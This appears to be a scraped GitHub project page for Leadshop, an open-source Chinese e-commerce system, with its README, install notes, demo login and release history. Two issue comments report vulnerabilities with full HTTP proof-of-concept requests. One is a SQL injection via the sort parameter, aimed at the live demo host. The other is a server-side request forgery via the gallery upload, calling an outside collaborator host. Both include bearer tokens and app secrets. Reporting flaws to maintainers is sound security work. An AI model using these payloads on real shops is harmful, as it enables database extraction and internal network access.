Leadshop是一款提供持续更新迭代服务的免费开源商城系统，旨在打造极致的用户体验！开箱即可商用！

Related tags

E-commerce leadshop
Overview

项目介绍

Leadshop是一款提供持续更新迭代服务的免费商城系统，旨在打造极致的用户体验！

Leadshop由浙江禾成云计算有限公司研发，主要面向中小型企业，助力搭建电商平台，并提供专业的技术支持。免费提供长期更新服务，应用涉及可视化DIY拖拽装修 、促销转化、裂变分销、用户精细化管理、数据分析等多个维度，追求极致体验，全面赋能商家，为商家创造价值。

Leadshop无偿供大家使用，您的star是我们前进的动力

主要特性

Leadshop 开源系统，基于Yii2开发，支持composer，优化核心，减少依赖，基于全新的架构思想和命名空间

  • 基于命名空间和PSR-4规范，加入PHP7新特性
  • 核心功能模块化，方便开发和维护
  • 强化路由功能，采用RESTful接口标准
  • 灵活创建模型控制器，易于扩展开发
  • 配置文件可分离，方便管理
  • 重写的自动验证和完成
  • 简化扩展机制，提升开发速度
  • API支持完善，方便二次开发
  • 内置WeChat微信开发框架，微信接入更加快捷，简单
  • 使用ORM自动创建表结构，提升开发速度
  • 支持数据库结构、数据、模板在线缓存清除，提升用户体验
  • 客户端完善的交互效果和动画，提升用户端视觉体验
  • 支持在线一键安装，方便快捷。
  • 可视化DIY店铺装修，方便、快捷、直观，可以随心所欲装扮自己的店铺
  • 高效的笛卡尔乘积运算，8000条规格秒加载
  • 拟态Windows文件夹的素材管理结构，操作更熟悉随心

运行环境

Linux+Nginx+PHP7.4+MySQL5.7.3以上

常见问题/安装教程

查看常见问题/安装教程

下期更新计划

更新历史

论坛交流

体验后台

  • demo.leadshop.vip

  • 账号:18888888888

  • 密码:123456

  • 扫码关注“企码星球”体验Leadshop公众号+小程序

开源无加密

  • 基于Apache License 2.0开源协议，前后端代码开源无加密，支持二次开发，支持商用。

核心技术

  • 前端技术栈 ES6、vue、vuex、vue-router、vue-cli、axios、element-ui、uni-app

  • 后端技术栈 Yii2、Jwt、Mysql、Easy-SMS

接口标准

  • 采用标准RESTful API ，高效的API阅读性，具有扩展性强、结构清晰的特点

数据交互

  • 采用JSON API 标准，用以定义客户端如何获取与修改资源，以及服务器如何响应对应请求。高效实现的同时，无需牺牲可读性、灵活性和可发现性

认证方式

  • 目前所有的接口使用 Oauth2 Password 方式，也就是 JWT Authorization Bearer header 进认证。支持扩语言扩展，多平台扩展。

数据表格导出

安装

一键安装

1.上传你的代码

2.项目目录设置755权限

3.设置代码执行目录为/web

注:如果使用Apache环境 需要在.htaccess 中添加

 SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1

否则会导致OAuth登录模式获取不到Authorization

4.检查php禁用函数列表,symlink函数不能被禁用，否则后台页面无法访问。

5.在浏览器中输入你的域名或IP

( 例如：www.yourdomain.com)，安装程序会自动执行安装。期间系统会提醒你输入数据库信息以完成安装。

6.后台访问地址： 域名/index.php?r=admin

7.公众号首页访问地址： 域名/index.php?r=wechat

重新安装

  1. 清除数据库
  2. 删除/server/install.lock 文件

目录说明

 站点根目录
    ├─api                               //后台接口
    ├─app                               //客户端（微信小程序，公众号）
    ├─applet                            //打包后的微信小程序源码包
    ├─components                        //通用组件
    ├─config                            //配置文件目录
    ├─controllers                       //控制器
    ├─datamodel                         //模型
    ├─forms                             
    │  └─install
    ├─modules                           //模块     
    ├─stores                            //应用配置文件
    ├─system                            //系统核心目录
    │  ├─common
    │  ├─config
    │  ├─phpqrcode
    │  └─wechat
    ├─vendor                            //依赖
    ├─views
    │  ├─admin                          //后台编译包目录，其中index.php不可删除
    │  ├─wechat                         //公众号编译包目录，其中index.php不可删除
    │  └─site
    └─web
        ├─assets
        ├─static                        //静态文件
        ├─img                           //H5端图片目录
        ├─temp
        └─upload                        //上传文件

Leadshop日常交流

  • 官方QQ群：

    • Leadshop开源商城①群：849894135
    • Leadshop开源商城②群：422518408

  • 加群管理员进Leadshop官方交流群

Ladshop用户案例

点击查看更多Leadshop用户案例

Ladshop功能简介

展示图 展示图 展示图 展示图 展示图 展示图 展示图 展示图 展示图 展示图 展示图

使用须知

1.允许用于个人学习、毕业设计、教学案例、公益事业;

2.支持企业/个人免费商业使用，但必须保留leadshop版权信息;

版权信息

Powered By Leadshop © 2021

You might also like...
Comments
  • Who to contact for security issues

    Who to contact for security issues

    Hey there!

    I belong to an open source security research community, and a member (@afkl-cuit) has found an issue, but doesn’t know the best way to disclose it.

    If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

    Thank you for your consideration, and I look forward to hearing from you!

    (cc @huntr-helper)

    opened by JamieSlome 2
  • SQL injection at exportUsers function

    SQL injection at exportUsers function

    Description

    SQL injection at exportUsers function via sort query parameter

    Proof of Concept

    GET /index.php?q=/api/leadmall/statistical&behavior=exportGoods&sort={"updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)--+-":"asd"} HTTP/1.1
Host: demo.leadshop.vip
Cookie: _csrf=fefe3c31fa6dbee72cd8e6a1e3b010398cfeed682f0198b879af18dbd5d5e5c8a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22SQDJuf-G631HB3SFwAjpH8ZW9XfM-nci%22%3B%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImp0aSI6Ijk4YzA4YzI1ZjgxMzZkNTkwYyJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLmxlYWRzaG9wLnZpcCIsImF1ZCI6Imh0dHBzOlwvXC9kZW1vLmxlYWRzaG9wLnZpcCIsImp0aSI6Ijk4YzA4YzI1ZjgxMzZkNTkwYyIsImlhdCI6MTY1MzU4MzAxNiwiZXhwIjoxNjU2MTc1MDE2LCJpZCI6MX0.O11reWZxDohDWiW9eqeTK0mvvxVy_xwwM4h7g5lwjXs
Qm-App-Type: undefined
Qm-App-Id: 98c08c25f8136d590c
Qm-App-Secret: 3AYpU16dZ1CY7ejqvrE39B351vanLJVD
Origin: https://demo.leadshop.vip
Referer: https://demo.leadshop.vip/index.php?r=admin%2Findex
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: red
Te: trailers
Connection: close

    img

    opened by nhienit2010 1
  • Server-Side Request Forgery via upload image gallery

    Server-Side Request Forgery via upload image gallery

    Description

    Upload image to gallery, the server use file_get_contents function to load image via data scheme url, so attacker can modify this url to any URL like http to send ability request to any URL , and file to read local file, ...

    Proof of Concept

    POST /index.php?q=/api/leadmall/gallery HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImp0aSI6Ijk4YzA4YzI1ZjgxMzZkNTkwYyJ9.eyJpc3MiOiJodHRwOlwvXC9sb2NhbGhvc3QiLCJhdWQiOiJodHRwOlwvXC9sb2NhbGhvc3QiLCJqdGkiOiI5OGMwOGMyNWY4MTM2ZDU5MGMiLCJpYXQiOjE2NTM1ODIzNjIsImV4cCI6MTY1NjE3NDM2MiwiaWQiOjF9.leK1uig5bqE77ZcsCd6kaNpaMwz7SkPjuq38eHrytj8
QM-APP-TYPE: undefined
QM-APP-ID: 98c08c25f8136d590c
QM-APP-SECRET: 3AYpU16dZ1CY7ejqvrE39B351vanLJVD
Content-Length: 162
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php?r=admin%2Findex
Cookie: _csrf=6173ae085358868d37d1217a51c7fa0d0f4e8f4ff1bc5c02ee4821b0ef541f40a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22ldQlSO9tUQ9FAJbS1H3lDUd-3qdmZFnP%22%3B%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-PwnFox-Color: blue

{"type":1,"group_id":-1,"content":"http://ysuel0pxqg3wvmaizyvshw83ouuki9.burpcollaborator.net/ssrf","title":"280864382_542263584214444_7204343006064197991_n.jpg"}

    img

    opened by nhienit2010 1
Releases(V1.3.11)

  • V1.3.11(Aug 13, 2021)

    修复：后台编辑商品详情tab无法点击问题 修复：视频上传超限提示问题 修复：店铺装修页面样式问题 修复：待收货订单修改物流功能丢失问题 修复：店铺装修视频组件默认样式问题 修复：Leadshop官方版权信息不显示问题

    Source code(tar.gz)
    Source code(zip)

  • V1.3.7(Aug 5, 2021)

  • V1.3.4(Aug 2, 2021)

    V1.3.4 修复：体验版购物车商品结算后，返回购物车，购物车未刷新问题 修复：公众号商城填写评价页面空白问题 修复：添加商品-无法上传视频问题 修复：公众号商城设置跳转微页面，微页面不显示内容问题 修复：售后订单首次拒绝后不能发货问题 修复：山东省济南市缺失行政区问题

    Source code(tar.gz)
    Source code(zip)

  • V1.3.3(Jul 26, 2021)

    新增：获取电子面单发货 新增：开屏广告可设置每X天显示 新增：商品参数 新增：商品副标题 新增：公众号/小程序商城跳转其他小程序和超链接 优化：后台编辑新商品信息的步骤逻辑优化 优化：后台编辑商品详情，可从素材库多选图片上传 优化：待发货订单支持按单个商品或整个订单申请仅退款，并支持退运费 修复：单规格商品手机端显示空白规格问题 修复：任务-完善个人信息后引导内容仍然显示问题 修复：商品评价时间，后台和手机端不一致问题

    Source code(tar.gz)
    Source code(zip)

  • V1.3.0(Jul 14, 2021)

    V1.3.0 新增：任务中心应用 新增：后台支持设置分类的显示/隐藏 新增：店铺分享图和描述可自定义 优化：后台基础设置页面样式优化 优化：个人中心的联系方式修改后实时生效 优化：添加直播商品无需输入ID，可选择商品 修复：素材管理无法上传本地视频问题 修复：手机端直播列表商品图片的显示问题 修复：公众号商城支付无效问题

    Source code(tar.gz)
    Source code(zip)
Owner
leadshop开源商城
Leadshop是一款提供持续更新迭代服务的免费开源商城系统，旨在打造极致的用户体验！开箱即可商用！ Leadshop主要面向中小型企业，助力搭建电商平台，并提供专业的技术支持。
leadshop开源商城
GitHub https://forum.leadshop.vip/